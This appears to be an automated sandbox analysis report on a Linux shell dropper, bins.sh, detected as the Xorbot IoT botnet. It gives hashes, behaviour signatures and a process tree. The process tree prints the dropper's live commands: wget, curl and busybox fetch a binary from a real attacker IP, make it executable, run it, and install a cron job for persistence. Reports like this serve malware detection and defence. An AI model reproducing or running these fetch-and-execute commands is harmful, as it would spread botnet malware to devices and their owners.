Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/12/2024, 00:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1d5b2a7b3af160b4a8d62dfc4ec1d359

  • SHA1

    c6a95cbf4750484d23d78b71d1d1065a210301b6

  • SHA256

    680092c14ddc788945c049ce9ef06ebb24af47c502a738d044c09260dd771643

  • SHA512

    47c3c36c80d2fb44bf0e5852ea583f051f8d4c1792b2d8057add8e575fb91ae7cf37c53f3a4af5bc8b20ab10f9a26107928cf8b6e0866ac5e4fd7e11c9e90821

  • SSDEEP

    192:dvicIR9EQZ4QZQ3XjuTjnwEQZ4QxrXjuTj8cIH:dvicIR9EQZ4QZQ3XjuTjwEQZ4QtXjuTC

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2117) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Writes file to tmp directory
          PID:658
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          ./woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:686
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:688
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:689
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:690
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:691
            • /bin/rm
              rm woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
              2⤵
                PID:699
              • /usr/bin/wget
                wget http://37.44.238.68/bins/ypC7J2PVHhmdH54tZdZPvLkmRHWTitt0z9
                2⤵
                  PID:702

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX

                Filesize

                141KB

                MD5

                3ca8decdb1e52c423c521bfff02ac200

                SHA1

                8621ecd6807109b8541912ad9e134f6fb49bfd48

                SHA256

                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                SHA512

                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

              • /var/spool/cron/crontabs/tmp.z3IqC9

                Filesize

                210B

                MD5

                7c22dff036763f6ea660fc3c9305b1a1

                SHA1

                711b6dcdb47dbb368c1e72843034efe1ff348b49

                SHA256

                53c12be9df35b7530def58802d7a1925ebb1396ea4c832090d6a53ddf7d9336a

                SHA512

                2a91f61cd61c7641afa8ca0c7669f26268174120cc33f7c59cfd2cfe6f09c40d3f52c851d625c57f5a42b2749b22bd6eebad77917e0e3ffcd989a4a39470901d